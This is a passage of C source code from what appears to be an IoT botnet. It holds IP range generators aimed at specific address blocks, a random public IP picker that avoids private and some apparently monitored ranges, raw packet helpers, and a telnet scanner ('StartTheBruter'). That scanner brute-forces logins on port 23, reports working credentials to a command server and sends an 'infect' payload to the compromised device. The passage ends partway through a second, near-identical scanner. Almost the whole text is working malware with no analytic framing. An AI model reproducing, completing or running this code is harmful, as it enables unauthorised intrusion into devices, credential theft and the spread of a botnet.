  1975. szprintf(ip, "103.198.%d.%d", ipState[3], ipState[4]);
  1976. }
  1977. if(randnum == 280)
  1978. {
  1979. szprintf(ip, "103.14.%d.%d", ipState[3], ipState[4]);
  1980. }
  1981. if(randnum == 281)
  1982. {
  1983. szprintf(ip, "103.195.%d.%d", ipState[3], ipState[4]);
  1984. }
  1985. if(randnum == 282)
  1986. {
  1987. szprintf(ip, "103.203.%d.%d", ipState[3], ipState[4]);
  1988. }
  1989. if(randnum == 283)
  1990. {
  1991. szprintf(ip, "103.214.%d.%d", ipState[3], ipState[4]);
  1992. }
  1993. if(randnum == 284)
  1994. {
  1995. szprintf(ip, "103.218.%d.%d", ipState[3], ipState[4]);
  1996. }
  1997. if(randnum == 285)
  1998. {
  1999. szprintf(ip, "103.225.%d.%d", ipState[3], ipState[4]);
  2000. }
  2001. if(randnum == 286)
  2002. {
  2003. szprintf(ip, "103.228.%d.%d", ipState[3], ipState[4]);
  2004. }
  2005. if(randnum == 287)
  2006. {
  2007. szprintf(ip, "103.231.%d.%d", ipState[3], ipState[4]);
  2008. }
  2009. if(randnum == 288)
  2010. {
  2011. szprintf(ip, "103.60.%d.%d", ipState[3], ipState[4]);
  2012. }
  2013. if(randnum == 289)
  2014. {
  2015. szprintf(ip, "103.248.%d.%d", ipState[3], ipState[4]);
  2016. }
  2017. if(randnum == 290)
  2018. {
  2019. szprintf(ip, "103.253.%d.%d", ipState[3], ipState[4]);
  2020. }
  2021. if(randnum == 291)
  2022. {
  2023. szprintf(ip, "103.255.%d.%d", ipState[3], ipState[4]);
  2024. }
  2025. if(randnum == 292)
  2026. {
  2027. szprintf(ip, "103.35.%d.%d", ipState[3], ipState[4]);
  2028. }
  2029. if(randnum == 293)
  2030. {
  2031. szprintf(ip, "103.49.%d.%d", ipState[3], ipState[4]);
  2032. }
  2033. if(randnum == 294)
  2034. {
  2035. szprintf(ip, "103.62.%d.%d", ipState[3], ipState[4]);
  2036. }
  2037. if(randnum == 295)
  2038. {
  2039. szprintf(ip, "144.48.%d.%d", ipState[3], ipState[4]);
  2040. }
  2041. if(randnum == 296)
  2042. {
  2043. szprintf(ip, "163.47.%d.%d", ipState[3], ipState[4]);
  2044. }
  2045. if(randnum == 297)
  2046. {
  2047. szprintf(ip, "163.53.%d.%d", ipState[3], ipState[4]);
  2048. }
  2049. if(randnum == 298)
  2050. {
  2051. szprintf(ip, "223.29.%d.%d", ipState[3], ipState[4]);
  2052. }
  2053. if(randnum == 299)
  2054. {
  2055. szprintf(ip, "59.153.%d.%d", ipState[3], ipState[4]);
  2056. }
  2057. if(randnum == 300)
  2058. {
  2059. szprintf(ip, "113.176.%d.%d", ipState[3], ipState[4]);
  2060. }
  2061. if(randnum == 301)
  2062. {
  2063. szprintf(ip, "113.175.%d.%d", ipState[3], ipState[4]);
  2064. }
  2065. if(randnum == 302)
  2066. {
  2067. szprintf(ip, "113.177.%d.%d", ipState[3], ipState[4]);
  2068. }
  2069. if(randnum == 303)
  2070. {
  2071. szprintf(ip, "113.183.%d.%d", ipState[3], ipState[4]);
  2072. }
  2073. if(randnum == 304)
  2074. {
  2075. szprintf(ip, "202.164.%d.%d", ipState[3], ipState[4]);
  2076. }
  2077. if(randnum == 305)
  2078. {
  2079. szprintf(ip, "203.134.%d.%d", ipState[3], ipState[4]);
  2080. }
  2081. if(randnum == 306)
  2082. {
  2083. szprintf(ip, "210.56.%d.%d", ipState[3], ipState[4]);
  2084. }
  2085. if(randnum == 307)
  2086. {
  2087. szprintf(ip, "49.156.%d.%d", ipState[3], ipState[4]);
  2088. }
  2089. if(randnum == 308)
  2090. {
  2091. szprintf(ip, "203.210.%d.%d", ipState[3], ipState[4]);
  2092. }
  2093. if(randnum == 309)
  2094. {
  2095. szprintf(ip, "117.181.%d.%d", ipState[3], ipState[4]);
  2096. }
  2097. if(randnum == 310)
  2098. {
  2099. szprintf(ip, "117.178.%d.%d", ipState[3], ipState[4]);
  2100. }
  2101. if(randnum == 310)
  2102. {
  2103. szprintf(ip, "117.177.%d.%d", ipState[3], ipState[4]);
  2104. }
  2105. if(randnum == 311)
  2106. {
  2107. szprintf(ip, "117.176.%d.%d", ipState[3], ipState[4]);
  2108. }
  2109. if(randnum == 312)
  2110. {
  2111. szprintf(ip, "117.170.%d.%d", ipState[3], ipState[4]);
  2112. }
  2113. if(randnum == 313)
  2114. {
  2115. szprintf(ip, "117.171.%d.%d", ipState[3], ipState[4]);
  2116. }
  2117. if(randnum == 314)
  2118. {
  2119. szprintf(ip, "117.162.%d.%d", ipState[3], ipState[4]);
  2120. }
  2121. if(randnum == 315)
  2122. {
  2123. szprintf(ip, "112.26.%d.%d", ipState[3], ipState[4]);
  2124. }
  2125. if(randnum == 316)
  2126. {
  2127. szprintf(ip, "112.27.%d.%d", ipState[3], ipState[4]);
  2128. }
  2129. if(randnum == 317)
  2130. {
  2131. szprintf(ip, "112.28.%d.%d", ipState[3], ipState[4]);
  2132. }
  2133. if(randnum == 318)
  2134. {
  2135. szprintf(ip, "112.29.%d.%d", ipState[3], ipState[4]);
  2136. }
  2137. if(randnum == 319)
  2138. {
  2139. szprintf(ip, "112.30.%d.%d", ipState[3], ipState[4]);
  2140. }
  2141. if(randnum == 320)
  2142. {
  2143. szprintf(ip, "112.31.%d.%d", ipState[3], ipState[4]);
  2144. }
  2145. if(randnum == 321)
  2146. {
  2147. szprintf(ip, "203.150.%d.%d", ipState[3], ipState[4]);
  2148. }
  2149. if(randnum == 322)
  2150. {
  2151. szprintf(ip, "50.233.%d.%d", ipState[3], ipState[4]);
  2152. }
  2153. if(randnum == 323)
  2154. {
  2155. szprintf(ip, "192.168.%d.%d", ipState[3], ipState[4]);
  2156. }
  2157. if(randnum == 324)
  2158. {
  2159. szprintf(ip, "111.12.%d.%d", ipState[3], ipState[4]);
  2160. }
  2161. if(randnum == 325)
  2162. {
  2163. szprintf(ip, "111.2.%d.%d", ipState[3], ipState[4]);
  2164. }
  2165. if(randnum == 326)
  2166. {
  2167. szprintf(ip, "119.%d.%d.%d", ipState[3], ipState[3], ipState[4]);
  2168. }
  2169. if(randnum == 327)
  2170. {
  2171. szprintf(ip, "%d.%d.%d.123", ipState[3], ipState[3], ipState[3], ipState[4]);
  2172. }
  2173. if(randnum == 328)
  2174. {
  2175. szprintf(ip, "%d.%d.22.%d", ipState[3], ipState[3], ipState[3], ipState[4]);
  2176. }
  2177. if(randnum == 329)
  2178. {
  2179. szprintf(ip, "%d.144.%d.%d", ipState[3], ipState[3], ipState[3], ipState[4]);
  2180. }
  2181. if(randnum == 330)
  2182. {
  2183. szprintf(ip, "%d.%d.%d.%d", ipState[3], ipState[3], ipState[3], ipState[4]);
  2184. }
  2185. return inet_addr(ip);
  2186. }
  2187.  
  2188. in_addr_t GetRandomPublicPhone()//IP GEN credz to cheats :) new ranges by xFyfa
  2189. {
  2190. ipState[1] = 0;
  2191. ipState[2] = 0;
  2192. ipState[3] = 0;
  2193. ipState[4] = 0;
  2194. ipState[1] = rand() % 215;
  2195. ipState[2] = rand() % 225;
  2196. ipState[3] = rand() % 235;
  2197. ipState[4] = rand() % 245;
  2198. int randnum = rand() % 115;
  2199. char ip[16];
  2200. if(randnum == 0)
  2201. {
  2202. szprintf(ip, "119.150.%d.%d", ipState[3], ipState[4]);
  2203. }
  2204. if(randnum == 1)
  2205. {
  2206. szprintf(ip, "119.151.%d.%d", ipState[3], ipState[4]);
  2207. }
  2208. if(randnum == 2)
  2209. {
  2210. szprintf(ip, "119.152.%d.%d", ipState[3], ipState[4]);
  2211. }
  2212. if(randnum == 3)
  2213. {
  2214. szprintf(ip, "119.153.%d.%d", ipState[3], ipState[4]);
  2215. }
  2216. if(randnum == 4)
  2217. {
  2218. szprintf(ip, "119.154.%d.%d", ipState[3], ipState[4]);
  2219. }
  2220. if(randnum == 5)
  2221. {
  2222. szprintf(ip, "119.155.%d.%d", ipState[3], ipState[4]);
  2223. }
  2224. if(randnum == 6)
  2225. {
  2226. szprintf(ip, "119.156.%d.%d", ipState[3], ipState[4]);
  2227. }
  2228. if(randnum == 7)
  2229. {
  2230. szprintf(ip, "119.157.%d.%d", ipState[3], ipState[4]);
  2231. }
  2232. if(randnum == 8)
  2233. {
  2234. szprintf(ip, "119.158.%d.%d", ipState[3], ipState[4]);
  2235. }
  2236. if(randnum == 9)
  2237. {
  2238. szprintf(ip, "119.159.%d.%d", ipState[3], ipState[4]);
  2239. }
  2240. if(randnum == 10)
  2241. {
  2242. szprintf(ip, "152.240.%d.%d", ipState[3], ipState[4]);
  2243. }
  2244. if(randnum == 11)
  2245. {
  2246. szprintf(ip, "152.241.%d.%d", ipState[3], ipState[4]);
  2247. }
  2248. if(randnum == 12)
  2249. {
  2250. szprintf(ip, "152.242.%d.%d", ipState[3], ipState[4]);
  2251. }
  2252. if(randnum == 13)
  2253. {
  2254. szprintf(ip, "152.243.%d.%d", ipState[3], ipState[4]);
  2255. }
  2256. if(randnum == 14)
  2257. {
  2258. szprintf(ip, "152.244.%d.%d", ipState[3], ipState[4]);
  2259. }
  2260. if(randnum == 15)
  2261. {
  2262. szprintf(ip, "152.245.%d.%d", ipState[3], ipState[4]);
  2263. }
  2264. if(randnum == 16)
  2265. {
  2266. szprintf(ip, "152.246.%d.%d", ipState[3], ipState[4]);
  2267. }
  2268. if(randnum == 17)
  2269. {
  2270. szprintf(ip, "152.247.%d.%d", ipState[3], ipState[4]);
  2271. }
  2272. if(randnum == 18)
  2273. {
  2274. szprintf(ip, "152.248.%d.%d", ipState[3], ipState[4]);
  2275. }
  2276. if(randnum == 19)
  2277. {
  2278. szprintf(ip, "152.249.%d.%d", ipState[3], ipState[4]);
  2279. }
  2280. if(randnum == 20)
  2281. {
  2282. szprintf(ip, "152.250.%d.%d", ipState[3], ipState[4]);
  2283. }
  2284. if(randnum == 21)
  2285. {
  2286. szprintf(ip, "152.251.%d.%d", ipState[3], ipState[4]);
  2287. }
  2288. if(randnum == 22)
  2289. {
  2290. szprintf(ip, "152.252.%d.%d", ipState[3], ipState[4]);
  2291. }
  2292. if(randnum == 23)
  2293. {
  2294. szprintf(ip, "152.253.%d.%d", ipState[3], ipState[4]);
  2295. }
  2296. if(randnum == 24)
  2297. {
  2298. szprintf(ip, "152.254.%d.%d", ipState[3], ipState[4]);
  2299. }
  2300. if(randnum == 25)
  2301. {
  2302. szprintf(ip, "152.255.%d.%d", ipState[3], ipState[4]);
  2303. }
  2304. if(randnum == 26)
  2305. {
  2306. szprintf(ip, "177.112.%d.%d", ipState[3], ipState[4]);
  2307. }
  2308. if(randnum == 27)
  2309. {
  2310. szprintf(ip, "177.112.%d.%d", ipState[3], ipState[4]);
  2311. }
  2312. if(randnum == 28)
  2313. {
  2314. szprintf(ip, "177.113.%d.%d", ipState[3], ipState[4]);
  2315. }
  2316. if(randnum == 29)
  2317. {
  2318. szprintf(ip, "177.114.%d.%d", ipState[3], ipState[4]);
  2319. }
  2320. if(randnum == 30)
  2321. {
  2322. szprintf(ip, "177.115.%d.%d", ipState[3], ipState[4]);
  2323. }
  2324. if(randnum == 31)
  2325. {
  2326. szprintf(ip, "177.116.%d.%d", ipState[3], ipState[4]);
  2327. }
  2328. if(randnum == 32)
  2329. {
  2330. szprintf(ip, "177.117.%d.%d", ipState[3], ipState[4]);
  2331. }
  2332. if(randnum == 33)
  2333. {
  2334. szprintf(ip, "177.118.%d.%d", ipState[3], ipState[4]);
  2335. }
  2336. if(randnum == 34)
  2337. {
  2338. szprintf(ip, "177.119.%d.%d", ipState[3], ipState[4]);
  2339. }
  2340. if(randnum == 35)
  2341. {
  2342. szprintf(ip, "177.121.%d.%d", ipState[3], ipState[4]);
  2343. }
  2344. if(randnum == 36)
  2345. {
  2346. szprintf(ip, "177.138.%d.%d", ipState[3], ipState[4]);
  2347. }
  2348. if(randnum == 37)
  2349. {
  2350. szprintf(ip, "177.139.%d.%d", ipState[3], ipState[4]);
  2351. }
  2352. if(randnum == 38)
  2353. {
  2354. szprintf(ip, "177.144.%d.%d", ipState[3], ipState[4]);
  2355. }
  2356. if(randnum == 39)
  2357. {
  2358. szprintf(ip, "177.145.%d.%d", ipState[3], ipState[4]);
  2359. }
  2360. if(randnum == 40)
  2361. {
  2362. szprintf(ip, "177.146.%d.%d", ipState[3], ipState[4]);
  2363. }
  2364. if(randnum == 41)
  2365. {
  2366. szprintf(ip, "177.147.%d.%d", ipState[3], ipState[4]);
  2367. }
  2368. if(randnum == 42)
  2369. {
  2370. szprintf(ip, "177.160.%d.%d", ipState[3], ipState[4]);
  2371. }
  2372. if(randnum == 43)
  2373. {
  2374. szprintf(ip, "177.161.%d.%d", ipState[3], ipState[4]);
  2375. }
  2376. if(randnum == 44)
  2377. {
  2378. szprintf(ip, "177.162.%d.%d", ipState[3], ipState[4]);
  2379. }
  2380. if(randnum == 45)
  2381. {
  2382. szprintf(ip, "177.163.%d.%d", ipState[3], ipState[4]);
  2383. }
  2384. if(randnum == 46)
  2385. {
  2386. szprintf(ip, "177.168.%d.%d", ipState[3], ipState[4]);
  2387. }
  2388. if(randnum == 47)
  2389. {
  2390. szprintf(ip, "177.169.%d.%d", ipState[3], ipState[4]);
  2391. }
  2392. if(randnum == 48)
  2393. {
  2394. szprintf(ip, "177.170.%d.%d", ipState[3], ipState[4]);
  2395. }
  2396. return inet_addr(ip);
  2397. }
  2398. in_addr_t getRandomPublicIP1()
  2399. {
  2400. ipState[0] = rand() % 225;
  2401. ipState[1] = rand() % 235;
  2402. ipState[2] = rand() % 245;
  2403. ipState[3] = rand() % 255;
  2404.  
  2405. while(
  2406. (ipState[0] == 0) ||
  2407. (ipState[0] == 10) ||
  2408. (ipState[0] == 100 && (ipState[1] >= 64 && ipState[1] <= 127)) ||
  2409. (ipState[0] == 127) ||
  2410. (ipState[0] == 169 && ipState[1] == 254) ||
  2411. (ipState[0] == 172 && (ipState[1] <= 16 && ipState[1] <= 31)) ||
  2412. (ipState[0] == 192 && ipState[1] == 0 && ipState[2] == 2) ||
  2413. (ipState[0] == 192 && ipState[1] == 88 && ipState[2] == 99) ||
  2414. (ipState[0] == 192 && ipState[1] == 168) ||
  2415. (ipState[0] == 198 && (ipState[1] == 18 || ipState[1] == 19)) ||
  2416. (ipState[0] == 198 && ipState[1] == 51 && ipState[2] == 100) ||
  2417. (ipState[0] == 203 && ipState[1] == 0 && ipState[2] == 113) ||
  2418. (ipState[0] == 188 && ipState[1] == 209 && ipState[2] == 52) ||
  2419. (ipState[0] == 188 && ipState[1] == 209 && ipState[2] == 49) ||
  2420. (ipState[0] == 185 && ipState[1] == 62 && ipState[2] == 190) ||
  2421. (ipState[0] == 185 && ipState[1] == 62 && ipState[2] == 189) ||
  2422. (ipState[0] == 185 && ipState[1] == 62 && ipState[2] == 188) ||
  2423. (ipState[0] == 185 && ipState[1] == 61 && ipState[2] == 137) ||
  2424. (ipState[0] == 185 && ipState[1] == 61 && ipState[2] == 136) ||
  2425. (ipState[0] == 185 && ipState[1] == 11 && ipState[2] == 147) ||
  2426. (ipState[0] == 185 && ipState[1] == 11 && ipState[2] == 146) ||
  2427. (ipState[0] == 185 && ipState[1] == 11 && ipState[2] == 145) ||
  2428. (ipState[0] == 63 && ipState[1] == 141 && ipState[2] == 241) ||
  2429. (ipState[0] == 69 && ipState[1] == 30 && ipState[2] == 192) ||
  2430. (ipState[0] == 69 && ipState[1] == 30 && ipState[2] == 244) ||
  2431. (ipState[0] == 69 && ipState[1] == 197 && ipState[2] == 128) ||
  2432. (ipState[0] == 162 && ipState[1] == 251 && ipState[2] == 120) ||
  2433. (ipState[0] == 173 && ipState[1] == 208 && ipState[2] == 128) ||
  2434. (ipState[0] == 173 && ipState[1] == 208 && ipState[2] == 180) ||
  2435. (ipState[0] == 173 && ipState[1] == 208 && ipState[2] == 250) ||
  2436. (ipState[0] == 192 && ipState[1] == 187 && ipState[2] == 113) ||
  2437. (ipState[0] == 198 && ipState[1] == 204 && ipState[2] == 241) ||
  2438. (ipState[0] == 204 && ipState[1] == 10 && ipState[2] == 160) ||
  2439. (ipState[0] == 204 && ipState[1] == 12 && ipState[2] == 192) ||
  2440. (ipState[0] == 208 && ipState[1] == 110 && ipState[2] == 64) ||
  2441. (ipState[0] == 208 && ipState[1] == 110 && ipState[2] == 72) ||
  2442. (ipState[0] == 208 && ipState[1] == 67) ||
  2443. (ipState[0] == 94 && ipState[1] == 102 && ipState[2] == 48) ||
  2444. (ipState[0] == 93 && ipState[1] == 174 && ipState[2] == 88) ||
  2445. (ipState[0] == 89 && ipState[1] == 248 && ipState[2] == 174) ||
  2446. (ipState[0] == 89 && ipState[1] == 248 && ipState[2] == 172) ||
  2447. (ipState[0] == 89 && ipState[1] == 248 && ipState[2] == 170) ||
  2448. (ipState[0] == 89 && ipState[1] == 248 && ipState[2] == 169) ||
  2449. (ipState[0] == 89 && ipState[1] == 248 && ipState[2] == 160) ||
  2450. (ipState[0] >= 224)
  2451. )
  2452. {
  2453. ipState[0] = rand() % 255;
  2454. ipState[1] = rand() % 255;
  2455. ipState[2] = rand() % 255;
  2456. ipState[3] = rand() % 255;
  2457. }
  2458.  
  2459. char ip[16] = {0};
  2460. szprintf(ip, "%d.%d.%d.%d", ipState[0], ipState[1], ipState[2], ipState[3]);
  2461. return inet_addr(ip);
  2462. }
  2463. in_addr_t getRandomIP(in_addr_t netmask)
  2464. {
  2465. in_addr_t tmp = ntohl(ourIP.s_addr) & netmask;
  2466. return tmp ^ ( rand_cmwc() & ~netmask);
  2467. }
  2468. in_addr_t GetRandomIP(in_addr_t netmask)
  2469. {
  2470. in_addr_t tmp = ntohl(ourIP.s_addr) & netmask;
  2471. return tmp ^ ( rand_cmwc() & ~netmask);
  2472. }
  2473. unsigned short csum (unsigned short *buf, int count)
  2474. {
  2475. register uint64_t sum = 0;
  2476. while( count > 1 ) { sum += *buf++; count -= 2; }
  2477. if(count > 0) { sum += *(unsigned char *)buf; }
  2478. while (sum>>16) { sum = (sum & 0xffff) + (sum >> 16); }
  2479. return (uint16_t)(~sum);
  2480. }
  2481.  
  2482. unsigned short tcpcsum(struct iphdr *iph, struct tcphdr *tcph)
  2483. {
  2484.  
  2485. struct tcp_pseudo
  2486. {
  2487. unsigned long src_addr;
  2488. unsigned long dst_addr;
  2489. unsigned char zero;
  2490. unsigned char proto;
  2491. unsigned short length;
  2492. } pseudohead;
  2493. unsigned short total_len = iph->tot_len;
  2494. pseudohead.src_addr=iph->saddr;
  2495. pseudohead.dst_addr=iph->daddr;
  2496. pseudohead.zero=0;
  2497. pseudohead.proto=IPPROTO_TCP;
  2498. pseudohead.length=htons(sizeof(struct tcphdr));
  2499. int totaltcp_len = sizeof(struct tcp_pseudo) + sizeof(struct tcphdr);
  2500. unsigned short *tcp = malloc(totaltcp_len);
  2501. memcpy((unsigned char *)tcp,&pseudohead,sizeof(struct tcp_pseudo));
  2502. memcpy((unsigned char *)tcp+sizeof(struct tcp_pseudo),(unsigned char *)tcph,sizeof(struct tcphdr));
  2503. unsigned short output = csum(tcp,totaltcp_len);
  2504. free(tcp);
  2505. return output;
  2506. }
  2507.  
  2508. void makeIPPacket(struct iphdr *iph, uint32_t dest, uint32_t source, uint8_t protocol, int packetSize)
  2509. {
  2510. iph->ihl = 5;
  2511. iph->version = 4;
  2512. iph->tos = 0;
  2513. iph->tot_len = sizeof(struct iphdr) + packetSize;
  2514. iph->id = rand_cmwc();
  2515. iph->frag_off = 0;
  2516. iph->ttl = MAXTTL;
  2517. iph->protocol = protocol;
  2518. iph->check = 0;
  2519. iph->saddr = source;
  2520. iph->daddr = dest;
  2521. }
  2522.  
  2523. int sclose(int fd)
  2524. {
  2525. if(3 > fd) return 1;
  2526. close(fd);
  2527. return 0;
  2528. }
  2529. int socket_connect(char *host, in_port_t port) {
  2530. struct hostent *hp;
  2531. struct sockaddr_in addr;
  2532. int on = 1, sock;
  2533. if ((hp = gethostbyname(host)) == NULL) return 0;
  2534. bcopy(hp->h_addr, &addr.sin_addr, hp->h_length);
  2535. addr.sin_port = htons(port);
  2536. addr.sin_family = AF_INET;
  2537. sock = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
  2538. setsockopt(sock, IPPROTO_TCP, TCP_NODELAY, (const char *)&on, sizeof(int));
  2539. if (sock == -1) return 0;
  2540. if (connect(sock, (struct sockaddr *)&addr, sizeof(struct sockaddr_in)) == -1)
  2541. return 0;
  2542. return sock;
  2543. }
  2544. void StartTheBruter(int wait_usec, int maxfds) {
  2545. int i, res, num_tmps, j;
  2546. char buf[128], cur_dir;
  2547.  
  2548. int max = maxfds;
  2549. fd_set fdset;
  2550. struct timeval tv;
  2551. socklen_t lon;
  2552. int valopt;
  2553.  
  2554. srand(time(NULL) ^ rand_cmwc());
  2555.  
  2556. char line[256];
  2557. char* buffer;
  2558. struct sockaddr_in dest_addr;
  2559. dest_addr.sin_family = AF_INET;
  2560. dest_addr.sin_port = htons(23);
  2561. memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  2562. buffer = malloc(BUFFER_SIZE + 1);
  2563. memset(buffer, 0, BUFFER_SIZE + 1);
  2564. struct telstate_t fds[max];
  2565. memset(fds, 0, max * (sizeof(int) + 1));
  2566. for(i = 0; i < max; i++) {
  2567. memset(&(fds[i]), 0, sizeof(struct telstate_t));
  2568. fds[i].complete = 1;
  2569. fds[i].sockbuf = buffer; }
  2570. while(1) {
  2571. for(i = 0; i < max; i++) {
  2572. if(fds[i].totalTimeout == 0) {
  2573. fds[i].totalTimeout = time(NULL); }
  2574. switch(fds[i].state) {
  2575. case 0: {
  2576. if(fds[i].complete == 1) {
  2577. char *tmp = fds[i].sockbuf;
  2578. memset(&(fds[i]), 0, sizeof(struct telstate_t));
  2579. fds[i].sockbuf = tmp;
  2580. fds[i].ip = getRandomPublicIP1(); }
  2581. else if(fds[i].complete == 0) {
  2582. fds[i].passwordInd++;
  2583. fds[i].usernameInd++;
  2584. if(fds[i].passwordInd == sizeof(passwords) / sizeof(char *)) {
  2585. fds[i].complete = 1;
  2586. continue; }
  2587. if(fds[i].usernameInd == sizeof(usernames) / sizeof(char *)) {
  2588. fds[i].complete = 1;
  2589. continue;
  2590. }
  2591. }
  2592. dest_addr.sin_family = AF_INET;
  2593. dest_addr.sin_port = htons(23);
  2594. memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  2595. dest_addr.sin_addr.s_addr = fds[i].ip;
  2596. fds[i].fd = socket(AF_INET, SOCK_STREAM, 0);
  2597. if(fds[i].fd == -1) continue;
  2598. fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL) | O_NONBLOCK);
  2599. if(connect(fds[i].fd, (struct sockaddr *)&dest_addr, sizeof(dest_addr)) == -1 && errno != EINPROGRESS) {
  2600. sclose(fds[i].fd);
  2601. fds[i].complete = 1; }
  2602. else {
  2603. fds[i].state = 1;
  2604. fds[i].totalTimeout = 0;
  2605. }
  2606. }
  2607. break;
  2608. case 1:
  2609. {
  2610. FD_ZERO(&fdset);
  2611. FD_SET(fds[i].fd, &fdset);
  2612. tv.tv_sec = 0;
  2613. tv.tv_usec = wait_usec;
  2614. res = select(fds[i].fd+1, NULL, &fdset, NULL, &tv);
  2615. if(res == 1) {
  2616. lon = sizeof(int);
  2617. valopt = 0;
  2618. getsockopt(fds[i].fd, SOL_SOCKET, SO_ERROR, (void*)(&valopt), &lon);
  2619. if(valopt) {
  2620. sclose(fds[i].fd);
  2621. fds[i].state = 0;
  2622. fds[i].complete = 1;
  2623. } else {
  2624. fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL) & (~O_NONBLOCK));
  2625. fds[i].totalTimeout = 0;
  2626. fds[i].bufUsed = 0;
  2627. memset(fds[i].sockbuf, 0, 1024);
  2628. fds[i].state = 2;
  2629. } continue; }
  2630. else if(res == -1) {
  2631. sclose(fds[i].fd);
  2632. fds[i].state = 0;
  2633. fds[i].complete = 1;
  2634. continue; }
  2635. if(fds[i].totalTimeout + 6 < time(NULL)) {
  2636. sclose(fds[i].fd);
  2637. fds[i].state = 0;
  2638. fds[i].complete = 1;
  2639. }
  2640. }
  2641. break;
  2642. case 2:
  2643. {
  2644. if(read_until_response(fds[i].fd, wait_usec, fds[i].sockbuf, BUFFER_SIZE, advances)) {
  2645. if(contains_fail(fds[i].sockbuf)) {
  2646. fds[i].state = 0;
  2647. } else {
  2648. fds[i].state = 3; }
  2649. continue; }
  2650. if(fds[i].totalTimeout + 6 < time(NULL)) {
  2651. fds[i].state = 0;
  2652. fds[i].complete = 1;
  2653. }
  2654. }
  2655. break;
  2656. case 3: {
  2657. if(send(fds[i].fd, usernames[fds[i].usernameInd], strlen(usernames[fds[i].usernameInd]), MSG_NOSIGNAL) < 0) {
  2658. fds[i].state = 0;
  2659. fds[i].complete = 1;
  2660. continue; }
  2661. if(send(fds[i].fd, "\r\n", 2, MSG_NOSIGNAL) < 0) {
  2662. fds[i].state = 0;
  2663. fds[i].complete = 1;
  2664. continue; }
  2665. fds[i].state = 4; }
  2666. break;
  2667. case 4:
  2668. {
  2669. if(read_until_response(fds[i].fd, wait_usec, fds[i].sockbuf, BUFFER_SIZE, advances))
  2670. {
  2671. if(contains_fail(fds[i].sockbuf)) {
  2672. fds[i].state = 0;
  2673. } else {
  2674. fds[i].state = 5; }
  2675. continue; }
  2676. if(fds[i].totalTimeout + 6 < time(NULL)) {
  2677. fds[i].state = 0;
  2678. fds[i].complete = 1;
  2679. }
  2680. }
  2681. break;
  2682. case 5:
  2683. {
  2684. if(send(fds[i].fd, passwords[fds[i].passwordInd], strlen(passwords[fds[i].passwordInd]), MSG_NOSIGNAL) < 0) {
  2685. fds[i].state = 0;
  2686. fds[i].complete = 1;
  2687. continue; }
  2688. if(send(fds[i].fd, "\r\n", 2, MSG_NOSIGNAL) < 0) {
  2689. fds[i].state = 0;
  2690. fds[i].complete = 1;
  2691. continue; }
  2692. fds[i].state = 6;
  2693. }
  2694. break;
  2695. case 6:
  2696. {
  2697. if(read_until_response(fds[i].fd, wait_usec, fds[i].sockbuf, BUFFER_SIZE, advances2)) {
  2698. fds[i].totalTimeout = time(NULL);
  2699. if(contains_fail(fds[i].sockbuf)) {
  2700. fds[i].state = 0; }
  2701. else if(contains_success(fds[i].sockbuf)) {
  2702. if(fds[i].complete == 2) {
  2703. fds[i].state = 7; }
  2704. else {
  2705. sockprintf(mainCommSock, "\x1b[0;35mLogin found:\x1b[0;31m%s \x1b[37m| \x1b[0;35mUsername:\x1b[0;31m%s \x1b[37m| \x1b[0;35mPassword:\x1b[0;31m%s \x1b[37m| \x1b[0;35mVersion:\x1b[0;31m%s\x1b[37m", get_telstate_host(&fds[i]), usernames[fds[i].usernameInd], passwords[fds[i].passwordInd], VERSION);
  2706. sockprintf(mainCommSock, "REPORT %s:%s:%s", get_telstate_host(&fds[i]), usernames[fds[i].usernameInd], passwords[fds[i].passwordInd]);
  2707. fds[i].state = 7; }
  2708. } else {
  2709. fds[i].state = 0;
  2710. fds[i].complete = 1;
  2711. } continue; }
  2712. if(fds[i].totalTimeout + 6 < time(NULL)) {
  2713. fds[i].state = 0;
  2714. fds[i].complete = 1;
  2715. }
  2716. }
  2717. break;
  2718. case 7:
  2719. {
  2720. fds[i].totalTimeout = time(NULL);
  2721. if(send(fds[i].fd, "sh", 4, MSG_NOSIGNAL) < 0);
  2722. if(send(fds[i].fd, infect, strlen(infect), MSG_NOSIGNAL) < 0) {
  2723. sclose(fds[i].fd);
  2724. fds[i].state = 0;
  2725. fds[i].complete = 1;
  2726. continue; }
  2727. fds[i].complete = 3;
  2728. if(fds[i].totalTimeout + 60 < time(NULL)) {
  2729. if(fds[i].complete !=3){
  2730. }
  2731. fds[i].state = 0;
  2732. fds[i].complete = 1;
  2733. }
  2734. break;
  2735. }
  2736. }
  2737. }
  2738. }
  2739. }
  2740. void StartTheLelz(int wait_usec, int maxfds) {
  2741. int i, res, num_tmps, j;
  2742. char buf[128], cur_dir;
  2743.  
  2744. int max = maxfds;
  2745. fd_set fdset;
  2746. struct timeval tv;
  2747. socklen_t lon;
  2748. int valopt;
  2749.  
  2750. srand(time(NULL) ^ rand_cmwc());
  2751.  
  2752. char line[256];
  2753. char* buffer;
  2754. struct sockaddr_in dest_addr;
  2755. dest_addr.sin_family = AF_INET;
  2756. dest_addr.sin_family = AF_INET;
  2757. dest_addr.sin_port = htons(23);
  2758. memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  2759. buffer = malloc(BUFFER_SIZE + 1);
  2760. memset(buffer, 0, BUFFER_SIZE + 1);
  2761. struct telstate_t fds[max];
  2762. memset(fds, 0, max * (sizeof(int) + 1));
  2763. for(i = 0; i < max; i++) {
  2764. memset(&(fds[i]), 0, sizeof(struct telstate_t));
  2765. fds[i].complete = 1;
  2766. fds[i].sockbuf = buffer; }
  2767. while(1) {
  2768. for(i = 0; i < max; i++) {
  2769. if(fds[i].totalTimeout == 0) {
  2770. fds[i].totalTimeout = time(NULL); }
  2771. switch(fds[i].state) {
  2772. case 0: {
  2773. if(fds[i].complete == 1) {
  2774. char *tmp = fds[i].sockbuf;
  2775. memset(&(fds[i]), 0, sizeof(struct telstate_t));
  2776. fds[i].sockbuf = tmp;
  2777. fds[i].ip = GetRandomPublicIP(); }
  2778. else if(fds[i].complete == 0) {
  2779. fds[i].passwordInd++;
  2780. fds[i].usernameInd++;
  2781. if(fds[i].passwordInd == sizeof(passwords) / sizeof(char *)) {
  2782. fds[i].complete = 1;
  2783. continue; }
  2784. if(fds[i].usernameInd == sizeof(usernames) / sizeof(char *)) {
  2785. fds[i].complete = 1;
  2786. continue;
  2787. }
  2788. }
  2789. dest_addr.sin_family = AF_INET;
